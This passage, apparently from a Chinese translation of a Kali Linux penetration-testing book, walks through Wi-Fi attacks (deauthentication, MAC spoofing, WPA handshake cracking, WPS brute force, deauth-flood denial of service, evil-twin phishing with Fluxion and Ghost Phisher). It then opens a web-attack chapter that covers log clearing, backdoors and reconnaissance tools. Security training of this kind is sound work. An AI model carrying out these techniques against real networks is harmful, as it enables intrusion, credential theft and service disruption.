因此，我们将针对客户端和接入点发起一个取消认证的攻击，发送一个可以中断它们之间的连接并迫使它们重新认证的数据包流。

发动攻击，打开一个新的命令shell，并输入如图6-9所示的命令（0表明我们正在启动一个取消认证攻击，10表明我们将发送10个取消认证数据包，-a是目标接入点，c是客户端的MAC地址）。

图6-9　发动攻击

7.在所有的取消认证数据包发送之后，返回监视信道6中网络连接的原始窗口，如图6-10所示。现在，你将看到清晰的ESSID。

图6-10　看到清晰的ESSID

知道ESSID可以帮助攻击者确认他们正在关注的是正确的网络（因为大多数ESSID基于企业标识），并使登录过程更便利。

6.4　绕过MAC地址验证和公开验证

媒体访问控制（Media Access Control，MAC）地址，用于在网络中唯一地标识每个节点。它是由六对用冒号或连字符分开的十六进制形式的数字（0～9和字母A到F）组成的，通常看起来像这个样子：00：50：56：C0：00：01。

MAC地址通常关联到一个拥有网络连接能力的网络适配器或设备。因为这个原因，它经常被称为物理地址。

MAC地址的前三对数字被称为组织唯一标识符（Organizational Unique Identifier），它们用来确定生产或销售设备的公司。最后三对数字是特定于设备的，可以认为是一个序列号。

因为MAC地址是唯一的，它可以用来将一个用户关联到一个特定的网络，尤其是无线网络。这有两个重要的含义——它可以用来识别网络访问者是一名黑客还是一名合法的网络测试人员，它也可以用来认证个体身份并授权他们访问网络。

在渗透测试的过程中，测试人员可能更喜欢匿名访问网络。支持匿名信息的方法是改变攻击系统的MAC地址。

这可以使用ifconfig命令手动完成。要确定现有的MAC地址，在命令行shell中运行以下命令：

要手动更改IP地址，使用下面的命令：

替换不同的十六进制对的“xx”表达式。这个命令将允许我们更改攻击系统的MAC地址为受害者网络使用并接受的MAC地址。攻击者必须确保这个MAC地址并没有在网络上使用，否则，如果网络被监控，重复的MAC地址可能会触发警报。

在改变MAC地址之前，无线接口必须关闭。

Kali还允许使用一个自动化工具macchanger。要改变攻击者的MAC地址为同一供应商生产的产品的MAC地址，可从终端窗口中使用如下macchanger命令：

要改变现有的MAC地址为一个完全随机的MAC地址，可使用以下命令，运行该命令后的屏幕截图如图6-11所示：

图6-11　运行macchanger wlan0-r

有些攻击者在测试过程中使用自动化脚本频繁地改变他们的MAC地址，以匿名化他们的攻击活动。

许多组织，尤其是学院和大学等大型学术团体，使用MAC地址过滤来控制谁可以访问无线网络资源。MAC地址过滤使用网卡上唯一的MAC地址来控制对网络资源的访问。在典型的配置中，组织会维护一个允许访问网络的MAC地址白名单（whitelist）。如果传入的MAC地址不在已批准的访问列表中，将限制其连接到该网络。

不幸的是，MAC地址信息以明文传输。攻击者可以使用airodump收集可接受的MAC地址列表，然后手动改变MAC地址为目标网络接受的MAC地址。因此，这种类型的过滤几乎没有为无线网络提供任何实质的保护。

一种最新水平的无线保护是由加密提供的。

6.5　攻击WPA和WPA2

无线访问保护（WiFi Protected Access，WPA）和无线访问保护2（WiFi Protected Access2，WPA2）是用于解决WEP安全缺陷的无线安全协议。因为WPA协议可以为每一个数据包动态生成新的密钥，阻止那些导致无线访问保护失败的统计分析。然而，它们仍然很容易受到一些攻击技术的攻击。

WPA和WPA2经常使用预共享密钥（Pre-Shared Key，PSK）进行部署，来提供访问点和无线客户端之间的安全通信。PSK是一个至少13个字符长的随机密码。如果不是13字符长，可以通过将其与一个已知的字典进行比较，使用暴力破解来确定。这是最常见的攻击。

如果是在Enterprise模式中进行配置，使用了RADIUS认证服务器提供身份认证，则可能需要更强大的机器来破解密钥，或者执行不同类型的中间人攻击。

6.5.1　暴力破解

不像WEP可以被对大量数据包的统计分析所破解，WPA解密需要攻击者创建特定的、已知详细信息的数据包类型，如接入点和客户端之间的信号交换信息。

攻击一个WPA传输，应该执行以下步骤：

1.启动无线适配器，并使用ifconfig命令来确保监控接口已创建。

2.使用airodump-ng-wlan0识别目标网络。

3.使用以下命令开始捕获目标接入点和客户端之间的流量：

4.设置-c以监控特定信道，--showack标志用来确保客户端计算机认可你的请求，即从无线接入点取消认证，而--write把输出写入一个用于后续字典攻击的文件中。这种攻击的典型输出如图6-12所示。

图6-12　一个典型的输出

5.使该终端窗口处于打开状态，并打开另一个终端窗口发起取消认证攻击。这将迫使用户重新认证目标接入点，并再次交换WPA密钥。取消认证攻击的命令如下所示：

执行上述命令的结果如图6-13所示。

图6-13　执行aireplay-ng-0 10命令

6.成功的取消认证攻击将显示ACKs，这表明连接到目标接入点的客户端，已接收到刚刚发送的取消认证命令。

7.回顾最初用于监控无线传输的开放命令脚本，确保你捕获了4次握手包。一个成功的WPA握手会在控制台的右上角显示。在图6-14的示例中，数据显示WPA握手的值是F0:7D:68:44:61:EA。

图6-14　捕获握手包

8.用aircrack破解WPA密钥，使用一个定义的词库。由攻击者定义的用于收集握手信息数据的文件名位于根目录下，而且.cap的扩展名将被加载到该文件名中。

在Kali中，词库位于/usr/share/wordlists目录中。虽然几种词库均是可用的，但还是建议你下载破解常见密码时更有效的列表。

在上述示例中，密钥被预先放置在密码列表里。对长而复杂的密码进行字典攻击可能需要花费几个小时，这取决于系统的配置。下面的命令使用words作为源词库。

图6-15显示了成功破解WPA密钥的结果，在测试了6个常见密钥后，找到了网络管理员的密钥为“Letmein!@1”。

图6-15　破解密钥

如果你手上没有一个定制的密码列表或者希望迅速生成一个列表，你可以使用Kali的crunch应用程序。下面的命令指示crunch程序使用给定的字符集，创建一个最小长度为5字符且最大长度为25字符的单词列表：

你还可以使用基于GPU的密码破解工具（用于AMD/ATI显卡的oclHashcat和用于英伟达显卡的cudaHashcat），提高暴力破解的有效性。

要实现这种攻击，首先需要使用以下命令把WPA握手信号捕获的文件psk-01.cap转换成hashcat文件：

转换完成后，针对最新捕获文件（选择匹配CPU架构和显卡的hashcat版本），使用以下命令运行hashcat：

如果有多个GPU，可以利用Pyrit来破解密码。Pyrit允许攻击者创建大量预先计算的WPA/WPA-PSK协议。Pyrit可以从https://github.com/JPaulMora/Pyrit下载。该工具通过多CPU的计算能力利用其他平台，如ATI-Stream、Nvidia CUDA和OpenCL。攻击者可以将John the Ripper、cowpatty与Pyrit一起使用，通过在终端中使用以下命令从捕获的无线流量中破解密码：

基本上，John the Ripper将为所有的字符、特殊字符和数字逐步创建一个字典。之后，输出将传递给Pyrit，使用passthrough关键字破解密码，另外cowpatty会破解特定WiFi-ESSID的密码。

6.5.2　使用Reaver攻击无线路由器

WPA和WPA2也很容易受到针对接入点的无线保护设置（WiFi Protected Setup，WPS）和个人识别码的攻击。

大多数接入点支持WPS协议，其在2006年成为一个允许用户很轻松地设置和配置接入点的标准，并可以为现有网络增加新设备，而无须重新输入大量且复杂的密码。

不幸的是，个人识别码为一个8位数字序号（可能是100 000 000），并且最后一个数字是一个校验值。因为WPS认证协议把该个人识别码一分为二，并分别对其进行验证，那就意味着它的前半部分的值为10⁴（10 000），后半部分的值可能为10³（1 000）——攻击者只需通过进行最多11 000次猜测就能破解该接入点！

Reaver是一种旨在最大限度地进行猜测的工具（尽管Wifite同样可以进行WPS猜测）。

要进行Reaver攻击，可以通过如下命令使用一个叫作wash的同类工具来识别任何漏洞网络：

如果存在任何漏洞网络，可以使用如下命令发起攻击：

在终端窗口运行reaver工具时，应该可以看到如图6-16所示的画面。

图6-16　运行reaver工具

在Kali中测试这种攻击表明，这种攻击速度缓慢且容易失败。然而，它可以用作背景攻击，或者补充其他路由攻击来破解WPA网络。

6.6　无线通信的拒绝服务攻击

我们将要评估的最后一个针对无线网络的攻击是拒绝服务攻击（Denial-of-Service,DOS），在这里，攻击者将使合法用户丧失无线网络的访问权限，或通过致使网络崩溃的方法使网络不可用。无线网络极其容易受拒绝服务攻击，并且在分布式的无线网络上，很难定位攻击者。拒绝服务攻击的例子包括以下内容：

·注入创建的网络命令，比如重新配置命令，这些命令进入无线网络后可能引起路由器、交换机和其他网络设备失效。

·一些设备和应用程序可以识别正在发生攻击，并通过自动禁用网络来实现响应。恶意的攻击者可以发起一个很明显的攻击，然后让目标自己创建拒绝服务攻击。

·用大量数据包洪泛攻击无线网络，可致使该网络不可用。例如，让数千个页面请求同时到达一个Web服务器的HTTP洪泛攻击，可以耗尽该Web服务器的处理能力。同样，使用认证和关联数据包块，用户可从其连接的接入点洪泛攻击该网络。

·攻击者可以创建特定的解除认证和解除关联的命令，用于在无线网络中关闭授权连接并洪泛攻击该网络，从而阻止合法用户保持他们到无线接入点的连接。

为了演示最后一点，我们将通过使用取消认证数据包洪泛攻击一个网络来创建一个拒绝服务攻击。因为无线802.11协议是为支持在接收到已定义的数据包时支持解除认证而构建的（从而让用户在连接不需要时可以中断该连接），这可能是一个毁灭性的攻击——它符合标准，并且没有办法可以阻止其发生。

使合法用户关闭网络最简单的方法是针对他们使用一个解除认证数据包流。这些可以在aircrack-ng工具套件的帮助下完成，使用如下命令：

此命令确定攻击类型为-0，表明它是一个取消认证攻击。第二个0（零）发起连续的取消认证数据包流，使得网络无法为其他用户所用。

Websploit框架是用来扫描和分析远程系统的一个开源工具。它包含几种工具，包括特定于无线攻击的工具。要启动它，需要打开一个命令脚本并简单地输入websploit。可以通过在终端运行apt-get install websploit来安装它。

Websploit界面类似于recon-ng和Metasploit框架，呈现给用户的是一个模块化界面。

一经启动，可以使用show modules命令来显示现有版本中的攻击模块。使用use wifi/wifi_jammer命令选择WiFi干扰发射机（一种取消认证数据包流）。如图6-17所示，攻击者只需要使用set命令来设置各种选项，然后选择run发起攻击。

图6-17　使用wifi_jammer命令

6.7　破解WPA/WPA2企业版实现

WPA企业版是一种广泛应用于企业的技术。它不使用单个WPA-PSK（大多数用户使用单个WPA-PSK连接到无线网络）。为了兼顾域名账户的治理与灵活性，企业会采用WPA的企业版实现。

破解企业无线网络的典型方法是：首先枚举无线设备，最后攻击连接的客户端，目的是找出认证细节。这包括欺骗目标网络，并向客户端提供良好的信号。然后，原有的有效接入点接入延迟，在接入点（Access Point，AP）和连接到AP的客户端之间导入了MiTM攻击。为了模拟企业WPA攻击，当他们有一定量的接入点时，攻击者必须在物理上靠近目标。攻击者还可以使用Wireshark嗅探流量，以识别无线网络流量握手。

本节我们将学习两种通常用于对WPA/WPA2企业版执行各种类型攻击的工具。

Wifite是预装在Kali Linux系统中的一种自动无线攻击工具，它是由Python语言编写的。Wifite的最新版本为V2，包含已知的aircrack-ng漏洞。

Wifite可以通过以下攻击获取无线接入点的密码：

·WPS：离线Pixie Dust攻击和在线暴力破解识别码攻击。

·WPA：WPA握手捕获和离线破解，以及PMKID哈希捕获和离线破解。

·WEP：所有上面提到的攻击，还包括chop-chop攻击、碎片攻击和aireplay注入。

现在我们启动Wifite来发起WPA4步握手捕获，随后进行自动密码破解攻击。在终端窗口键入wifite可以直接启动该工具。如图6-18所示，在交互模式下，攻击者可以自己选择接口。

图6-18　Wifite启动界面

选择好接口后，网络适配器就处于监视模式，开始自动监听所有的WiFi ESSID（不管其是否是WPS），包括信道、加密信息和信号强弱，以及连接到特定ESSID的客户端数目。选择好目标ESSID后，攻击者可以按下键盘的“Ctrl+C”实施攻击。

默认情况下，会自动发起4种类型的攻击：WPS Pixie Dust、WPS PIN、PMKID和WPA握手攻击。如果前三种攻击无效，攻击者可以按下“Ctrl+C”直接跳过它们。当捕获到握手包后，攻击者可以查看连接到站点的客户端信息。默认情况下，捕获信息会存放在当前目录：hs/handshake_ESSID_MAC.cap。

成功捕获握手包后，可以通过tshark、Pyrit、cowpatty和aircrack-ng命令进行分析，进而验证握手包的ESSID和BSSID。

利用aircrack-ng可以让Wifite自动运行词库破解。在启用Wifite时，键入wifite-wpa-dict/path/customwordlist可以直接跳过自定义词库。如图6-19所示，成功的握手破解通常会返回无线接入点（路由器）的密码。

所有破解的密码都保存在cracked.txt文件中，文件位于Wifite当前运行的文件夹。Wifite还有一个匿名特征，可以在攻击前将MAC地址修改为一个随机地址，攻击完成后再改回原地址。

图6-19　返回无线接入点密码

下面我们深入了解Fluxion。Fluxion是一种自动无线攻击工具，可以逃开无线，并创建恶意的访问点，它是用Bash和Python混合编写的。

可以通过运行git clone https//github.com/wi-fi-analyzer/fluxion.git来下载Fluxion最新版本。这个工具是基于linset脚本（一种双面恶魔攻击Bash脚本，https://github.com/vk496/linset）的。

攻击者可以利用此工具发起以下类型的攻击：

·扫描无线网络。

·利用数据包捕获来查找握手（提供有效的已经完成的握手）。

·提供Web接口。

·在几秒钟内创建假的AP以模仿原始AP。

·它能够产生MDK3（一种将数据包注入无线网络的工具）。

·自动启动假DNS服务器，以捕获所有DNS请求并将其重定向到托管机器。

·为密码密钥创建一个假网页门户。

·一旦找到密钥，自动终止会话。

一旦克隆完Fluxion，确保运行installer.sh（位于install文件夹），以便安装Fluxion正常运行所需的所有依赖项和库。成功安装的Fluxion截图如图6-20所示。

图6-20　成功安装Fluxion

Fluxion允许攻击者从11种不同的语言中进行选择。选择语言后，将需要从笔记本电脑/PC上所有可用的无线LAN接口进行选择。选择接口后，提供选择扫描特定信道或扫描所有网络信道的选项，攻击者可以根据目标WiFi选择信道。扫描完成并识别无线AP列表后，按Ctrl+C移至下一个屏幕，如图6-21所示。

图6-21　识别无线AP列表

一旦有了无线AP的所有列表，攻击者可以继续处理任何选定的网络。例如，在图6-21中，攻击者将目标选择为16（Cyber Lab），它正在加密WPA2上运行，并进入模拟WiFi的下一个阶段，就像复制自己的基础架构和设置一样，它没有太大的区别。Fluxion允许我们选择2个选项，如图6-22所示。

以下是这两个选项：

·通过Hostapd设置FakeAP。

·使用airbase-ng设置FakeAP。

图6-22　Fluxion选项

FakeAP是一个轻松的攻击方法，用于使用相同的名称托管无线AP并利用Websploit来降低信号强度，从而迫使客户端通过FakeAP（假AP）连接到AP。测试者会面临握手检测，出现两个选项：pyrit或者aircrack-ng。

Fluxion的写入方式是自动使用MDK3来对连接到AP的所有客户端进行身份验证，如图6-23所示。

图6-23　客户端身份验证

WiFi数据捕获通过另一个窗口同步进行，如图6-24所示。

图6-24　数据捕获窗口

一旦用户重新连接到Cyber Lab，在重新连接的过程中，Fluxion就会捕获到握手。如图6-25所示，攻击者就可以移动到下一步，检查握手。

图6-25　检测握手包

如果握手失败，按“2”返回重新发起攻击。然而，很少出现攻击者捕获不到握手的情况。如图6-26所示，如果握手有效，那么我们就可以创建自己的SSL证书。测试人员可以选择生成新的SSL证书或使用已有的证书。

图6-26　选择SSL证书

如图6-27所示，生成SSL证书后，我们需要选择一个网络接口。Fluxion提供了一个为网络接口选择语言的选项，它会强制要求接入由我们托管的AP的受害者记录适配器的端口。

图6-27　选择网络接口

如图6-28所示，测试人员现在可以利用新的接入点发起双面恶魔攻击。

当攻击者发起FakeAP攻击时，可以看到图6-29所示的完全自动运行的画面。其中，DHCP服务器、伪装的DNS服务器和伪装的网站都运行在同一个系统中，即运行Fluxion的Kali Linux系统。

图6-28　发起双面恶魔攻击

图6-29　FakeAP自动攻击

攻击者可以在Wifi Information（WiFi信息）栏确认是否有受害者接入攻击者的假接入点。图6-30显示了接入点的相关信息，以及Clients Online下伪装的IP地址和原始的MAC地址。

另一方面，接入伪AP的受害者将被提供一个附加模式使其登录后可以访问互联网。

图6-31显示了受害者在Windows接收到的信息。

如图6-32所示，一旦受害者点击附加的登录信息或者试图访问任何URL，那么他们就会被重定向到我们在网络接口选择设定的登录界面。

如果受害者输入正确的WPA密码，那么就可用于从开始阶段捕获的握手破解密码。如图6-33所示，破解的密码会出现在Wifi Information栏，同时，默认情况下，握手和破解的密码会被保存在root文件夹。

图6-30　FakeAP自动攻击

图6-31　伪AP的登录模式

图6-32　重定向登录界面

图6-33　破解的密码

本节关于Fluxion的所有测试均可在以下网站找到：https://github.com/wi-fi-analyzer/fluxion.git。网上的其他Fluxion克隆都是定制的，且为实验用途存在兼容问题。

6.8　使用Ghost Phisher

与Fluxion类似，Kali具有内置应用程序以GUI方式执行WiFi钓鱼活动。Ghost Phisher是为了识别无线连接和以太网安全审计而构建的。它是完全用Python编写的，使用Python QT作为GUI库。

为了获取用户凭据，攻击者可以利用Ghost Phisher应用程序启动假AP，如图6-34所示。

图6-34　利用Ghost Phisher应用程序启动假AP

Ghost Phisher目前提供以下可由渗透测试人员或攻击者利用的功能：

·创建HTTP服务器。

·DNS服务器。

·DHCP服务器。

·凭据记录页面（用于网络钓鱼任何用户名和密码）。

·接入点仿真器。

·高级会话劫持模块。

·Ghost Phisher提供执行ARP缓存中毒选项，以执行MiTM和DoS攻击的选项，类似于ettercap/bettercap。

·允许攻击者嵌入Metasploit绑定技术。

·SQLite数据库存储凭据。

6.9　小结

本章我们研究了成功攻击任何无线网络所需的不同任务、无线适配器配置，以及如何使用aircrack-ng、Kismet等工具配置无线调制解调器以及AP侦察。在这一章中，我们还学习了aircrack-ng工具的全部套件，用来确定隐藏网络、绕过MAC地址认证、破解WPA/WPA2以及WPA企业版。我们学习了如何利用已有的自动化工具Wifite快速捕获握手包并选择合适的词库进行暴力破解。然后，我们还学习了如何使用Fluxion、Ghost Phisher搭建假AP（FakeAP），以及如何针对无线网络执行拒绝服务攻击（DoS）。

第7章我们将关注如何利用特定于访问类型的方法评估网站，从而执行必要的侦察和扫描来识别可利用的漏洞。我们会看到攻击者如何使用自动化工具来利用这些漏洞，如利用框架和在线密码破解。最后，我们将能够对Web应用程序进行最重要的攻击，然后利用这种Web shell访问来完全渗透Web服务，并研究特定服务为何容易受到DoS攻击。

第7章　基于Web应用的利用

在前面的章节中，我们回顾了攻击者的杀链——用来破解网络和设备、发现数据或阻碍访问网络资源的特定方法。在第5章中，我们从物理攻击和社会工程学出发研究了攻击的不同路线。在第6章中，我们看到了无线网络如何被入侵。

本章我们将重点研究最常见的攻击途径之一——通过网站或基于Web的应用。

利用现代技术，在市面上我们能看到许多虚拟银行。这些银行没有任何实体机构，仅仅由Web应用和移动应用组成。基于网络的服务无处不在，大部分机构都允许到这些服务的远程的无中断的访问。然而，对于渗透测试人员和攻击者而言，这些Web应用暴露了网络的后端服务、访问网站的用户端的活动、用户和Web应用/服务的数据间的连接。

本章将重点从攻击者的角度来审视Web应用和Web服务。我们将在第8章回顾针对连接的攻击。

在本章中，你将学习：

·Web应用程序攻击方法。

·黑客攻击思维导图。

·漏洞扫描。

·特定应用程序的攻击。

·利用密码漏洞和Web服务漏洞。

·利用网络后门维持对目标系统的访问。

7.1　Web应用程序攻击方法

系统的、面向目标的渗透测试总是始于正确的方法。图7-1提供了Web应用程序入侵的方法。

图7-1　Web应用攻击方法

攻击方法分为6个阶段：设定目标、爬虫和枚举、漏洞扫描、利用、覆盖痕迹和维持访问，详细解释如下：

1.设定目标（set target）：在渗透测试中设置正确的目标是非常重要的，因为攻击者将更多地关注特定的脆弱系统，以根据杀链方法获得系统级访问。

2.爬虫与枚举（spider and enumerate）：在此阶段，攻击者已经确定了Web应用程序的列表，并深入挖掘特定的漏洞。利用多种方法将爬虫应用于各种网页，并发现与之相关的东西以在下一阶段受益。

3.漏洞扫描（vulnerability scanning）：在这个阶段，所有已知的漏洞都是从众所周知的漏洞数据库收集而来，这些数据库包含公开的漏洞或已知的常见安全错误配置。

4.利用（exploitation）：该阶段用户可以利用已知和未知的漏洞，包括应用程序的业务逻辑。例如，如果一个应用程序管理接口公开，这个应用是脆弱的。攻击者可以直接试着访问接口，通过执行各种类型的攻击，如密码猜测、暴力攻击，或利用特定管理接口漏洞（JMX控制台攻击管理接口，无须登录和部署特别文件且运行一个远程Web shell）。

5.覆盖痕迹（cover track）：在这个阶段，攻击者清除所有攻击的证据。例如，如果一个系统已经被上传文件漏洞和服务器上执行的远程命令破坏了，那么攻击者将尝试清除应用服务器日志、Web服务器日志、系统日志和其他日志。一旦痕迹被覆盖，攻击者就会确保不留下任何可以揭示其利用来源的日志。

6.维持访问（maintain access）：攻击者可能会植入一个后门程序，或利用系统执行特权升级，或将系统作为一个僵尸来执行更聚焦的内部攻击，如在共享的驱动器上传播勒索软件，或者对于大型机构，将受害系统都加到一个域，控制整个企业域。

7.2　黑客的思维导图

人类的思维是无可替代的，本节将更加关注如何从攻击者的角度来看待Web应用。

图7-2显示了Web应用的黑客思维导图。

图7-2　Web应用黑客思维导图

思维导图被分成两类：攻击者可以攻击服务器端漏洞或者客户端漏洞。这些漏洞通常由于以下原因产生：

·使用了旧的或未更新补丁的技术。

·新技术的安全配置不充分。

·代码编写未考虑安全性。

·人为因素：缺少技术的员工。

对于服务器端，攻击者通常可以发起以下攻击：

·Web应用防火墙入侵。

·注入攻击。

·远程代码执行。

·远程文件包含或本地文件包含。

·目录路径遍历。

·利用会话管理。

·利用系统或应用的逻辑漏洞。

·识别可以帮助攻击者执行专用攻击的其他相关信息。

客户端攻击更侧重于利用客户端存在的漏洞，包括浏览器、应用程序（厚/薄客户端）或网络：

·Flash漏洞：截止到2018年12月8日，Flash播放器有1 068个已知漏洞（https://www.cvedetails.com/vulnerability-list/vendor_id-53/product_id-6761/Adobe-Flash-Player.html）。

·JavaScript漏洞和Java漏洞。

·DNS的钉扎或重新绑定漏洞。DNS重新绑定是一种基于DNS将恶意代码嵌入Web页面的攻击。通常，来自Web页面（JavaScript、Java和Flash）中的代码请求被绑定到它们源自的网站（参见同源策略）。DNS重新绑定攻击可以用来提高JavaScript恶意软件渗透私有网络的能力，并破坏浏览器的同源策略。

·非DNS的钉扎漏洞。

·脚本注入漏洞/跨站脚本攻击：反射、持久性（存储）和基于DNS的漏洞。

考虑到所有的漏洞列表，攻击者现在装备了完整的开发工具包列表，并准备开始一个网站的侦察活动。

7.3　Web应用的侦察

Web应用以及这些应用提供的服务是特别复杂的。通常情况下，交付给最终用户的服务使用的是多层架构的应用服务器和Web服务器，这些服务器面向互联网的公众开放，同时与中间件服务、后端服务器和位于网络上的数据库进行通信。

在测试过程中，必须考虑引起复杂度上升的几个额外因素，其中包括以下内容：

·网络架构，包括安全控制（防火墙、IDS/IPS和蜜罐）和配置（如负载均衡器）。

·主机网络服务系统的平台架构（硬件、操作系统和附加应用程序）。

·应用、中间件和终极数据库，它们可能采用不同的平台（UNIX或Windows）、供应商、编程语言，以及开源、商业和专用软件的组合。

·认证和授权过程，包括在应用程序中保持会话状态的过程。

·管理应用程序如何使用的基本业务逻辑。

·客户端与网络服务的交互与通信。

鉴于网络服务的复杂性，适应每个网站的特殊架构和服务参数，对渗透测试者是非常重要的。同时，测试过程必须持续且确保没有遗漏。

当前已经提出了几种方法可以实现这些目标。最广泛接受的是开放Web应用安全项目（Open Web Application Security Project，OWASP）（www.owasp.org），它列出了10大漏洞。

作为一种最低标准，OWASP向测试人员提供了一个强有力的方向。然而，只专注于这10大漏洞显然不具有前瞻性，并且该方法已经暴露了一些缺口，特别是用该方法去寻找应用程序如何支撑商业活动的逻辑漏洞时。

在使用“杀链”方法时，针对一些特定于Web应用侦察的活动，需要强调以下几点内容：

·确定目标Web应用，特别是关于在哪里，以及它是如何托管的。

·枚举目标网站的目录结构和文件，包括确定是否在用一个内容管理系统（Content Management System，CMS）。这可能包括下载网站做离线分析，包括文档的元数据分析，并利用网站创建一个自定义词表用于密码破解（使用crunch等工具）。它还确保识别所有支持文件。

·确定身份认证和授权机制，并确定在与网络服务的交易中，如何维护会话的状态。这通常包括利用代理工具对cookies的分析和使用。

·枚举所有的表格。这些是用户输入数据以及与Web应用服务进行交互的主要手段，这些都是一些可利用的漏洞的具体地点，如SQL/XML/JSON注入攻击、跨站脚本。

·确定接受输入的其他区域，如允许文件上传的页面，以及可接受的上传文件类型的任何限制。

·确定如何处理错误，以及由用户接收的实际的错误消息。该错误往往将提供有价值的内部信息，如使用的软件版本或内部的文件名和进程。

首先进行如前所述的被动侦察和主动侦察（参见第2章和第3章）。

尤其要确保识别托管的网站，然后使用DNS映射来确定由相同的服务器提供服务的主机位置。攻击最常见和最成功的方法之一，就是攻击位于目标服务器同一物理位置的非目标主机网站，利用服务器的弱点来获得root权限，然后使用特权升级攻击目标网站。

这种方法对攻击共享的云环境特别有效，其中Web应用都托管在同一个软件即服务（Software as a Service，SaaS）的模型上。

7.3.1　Web应用防火墙和负载均衡器检测

下一步是确定存在的基于网络的防护设备，如防火墙、IDS/IPS和蜜罐技术。一个越来越普遍的防护设备是Web应用防火墙（Web Application Firewall，WAF）。

如果使用了WAF，测试人员必须通过编码来确保绕过WAF，尤其是那些依赖于手工输入的攻击。

WAF可以通过手动检查cookie（一些WAF标签或cookie修改，涉及Web服务器和客户端之间的通信），或者通过报头信息改变来识别（当一名测试人员使用命令行工具，如Telnet，连接到端口80时，会被识别）。

WAF检测过程可以自动化，使用nmap的脚本http-waf-detect.nse，如图7-3所示。

nmap脚本识别一个WAF的存在。然而，脚本测试已经被证明并不总是能得到准确的结果，返回的数据可能过于笼统，以致不能作为一个有效策略引导来绕过防火墙。

wafw00f脚本是一个自动化的工具，可以识别和提取基于网络的防火墙指纹，测试已证明它是用于此目的最准确的工具。该脚本很容易从Kali调用，输出示例如图7-4所示。

图7-3　WAF检测过程

图7-4　wafw00f脚本检测

负载均衡器（Load Balancing Detector，LBD）是一个bash shell脚本，确定一个给定的域是否使用了DNS或HTTP负载均衡。这从测试人员的角度而言是很重要的信息，因为当测试了一个服务器，它可以解释看似反常的结果，然后负载均衡器将请求转换到不同的服务器。lbd采用多种检查来识别负载均衡的存在。一个输出示例如图7-5所示。

图7-5　lbd使用

7.3.2　指纹识别Web应用和CMS

Web应用指纹识别是渗透测试人员了解运行的Web服务器、实现的Web技术版本和类型的第一项任务，这些会让攻击者确定已知的漏洞并适当利用。

攻击者可以使用任何类型的可以连接远程主机的命令行工具。例如，在图7-6中，我们使用netcat命令连接受害者主机上的80端口，并发出HTTP HEAD命令来确定在服务器上运行的是什么。

图7-6　HTTP HEAD命令

这会返回一个HTTP服务器响应，包括运行应用程序的Web服务器类型，server部分提供了应用构建技术的详细信息，本例中为PHP5.6.39。

现在，攻击者就可以使用CVE Details（见https://www.cvedetails.com/vulnerabilit-list/vendor_id-74/product_id-128/PHP-PHP.html）等资源确定已知的漏洞。

渗透测试的最终目标是获取敏感信息。该网站应进行检查以确定用于构建和维护它的CMS。CMS应用程序如Drupal、Joomla和WordPress等，可能是使用有漏洞的管理接口配置的，这种配置允许一个访问提升权限，或应用本身可能含有可利用的漏洞。

Kali包括一个自动扫描器——BlindElephant，用于提取CMS指纹来确定版本信息。

输出示例如图7-7所示。

图7-7　使用BlindElephant的屏幕截图

BlindElephant检查CMS组件的指纹，然后为当前的版本提供一个最好的猜测。然而，与其他的应用一样，我们已经发现它可能无法检测CMS。因此，总是通过针对特定的目录和文件抓取网站的其他扫描器验证其结果，或手动检查站点。

一个特定的扫描工具，即自动化网络爬虫，可用来验证已收集的信息，以及确定特定网站的现有的目录和文件结构。网络爬虫的典型发现包括管理门户、可能包含硬编码访问凭据及内部结构信息的配置文件（当前及以前的版本）、网站的备份副本、管理员笔记、机密的个人信息和源代码。

Kali支持多种网络爬虫，包括Free Burp Suite、DirBuster、OWASP-ZAP、Vega、WebScarab和WebSlayer。最常用的工具是DirBuster。

DirBuster是图形用户界面驱动的，使用可能的目录和文件列表，对网站的结构进行暴力分析的应用程序。可以以表或树的格式查看响应，并且能准确地反映网站的结构。针对目标网站执行该程序的输出如图7-8所示。

图7-8　使用DirBuster暴力分析网站结构

7.3.3　利用命令行设置镜像网站

攻击者经常会花很多时间在识别特定页面/URL地址的漏洞上，所以一个基本步骤就是克隆或下载所有可用的本地网站信息，来缩小正确的入口点，或者执行社会工程学攻击来收集电子邮件地址和其他相关信息。

另外，也可以直接复制一个网站到测试人员的位置。这允许测试人员轻松审查本地文件目录结构及其内容，提取元数据，并使用该网站的内容作为程序的输入，如crunch，这将产生一个个性化的词库来支持密码破解。

如果你已经映射网站或网络服务的基本结构，那么杀链的下一个阶段就是确定可被利用的漏洞。

Kali提供了一个内置的应用httrack，可将网站内容下载到本地系统。httrack是命令行，同时也是GUI的，广泛用于复制任何网站的本地副本。攻击者可以直接发出httrack http://targetwebapp/-O outputfolder命令，如图7-9所示。

当httrack执行完成，测试人员就能够在本地加载应用程序并获取信息、识别实现缺陷。

图7-9　使用httrack

7.4　客户端代理

客户端代理截获HTTP和HTTPS流量，允许渗透测试人员检查用户与应用程序之间的通信。它允许测试人员复制数据或与发送到应用的请求进行交互。

客户端代理最初被设计用来调试应用程序，这个功能可被攻击者滥用来执行中间人攻击或浏览器中间人攻击。

Kali带有几个客户端代理，包括Burp Suite、OWASP ZAP、Paros、ProxyStrike、漏洞扫描器Vega和WebScarab。经过广泛的测试，我们已经开始依赖Burp代理，将ZAP作为一种备份工具。在本节中，我们将主要介绍关于Burp Suite的内容。

7.4.1　Burp代理

Burp主要用于拦截HTTP（S）流量。然而，这只是它作为一个大的工具套件的功能之一，还有一些附加功能，其中包括如下部分：

·应用感知爬虫用于爬取站点。

·漏洞扫描器，包括一个序列发生器，用于测试会话令牌的随机性，以及一个中继器，用于操作和重新发送客户端与网站之间的请求（Kali中打包的Burp代理的免费版不包含漏洞扫描器）。

·入侵者工具，可以用来发动自定义的攻击（Kali中包含的免费版本的工具的速度会受到限制。如果你购买了软件的商业版本，将不受这些限制）。

·能够编辑现有的插件或写新的插件，以扩展可以使用的攻击的数量和类型。

要使用Burp，确保Web浏览器配置为使用本地代理。通常情况下，你需要调整网络设置，来指定HTTP和HTTPS流量必须使用本地主机（127.0.0.1）的8080端口。

设置好浏览器后，在终端中运行burpsuite命令打开代理工具，手动映射应用程序到Target栏。这可以通过关闭代理拦截，然后浏览整个应用程序来完成。按照每一个环节，递交表格并登录该网站尽可能多的区域。从不同的响应，可以推断出一些额外的内容。

站点地图将填充Target栏内的区域。也可以鼠标右键单击该网站，并选择Spider This Host来使用自动爬取。然而，手动技术给测试人员提供了一个深入了解目标的机会，并且它可以识别要避免的区域。例如/.bak文件或.svn文件，渗透测试人员在评估过程中常常忽略这些文件。

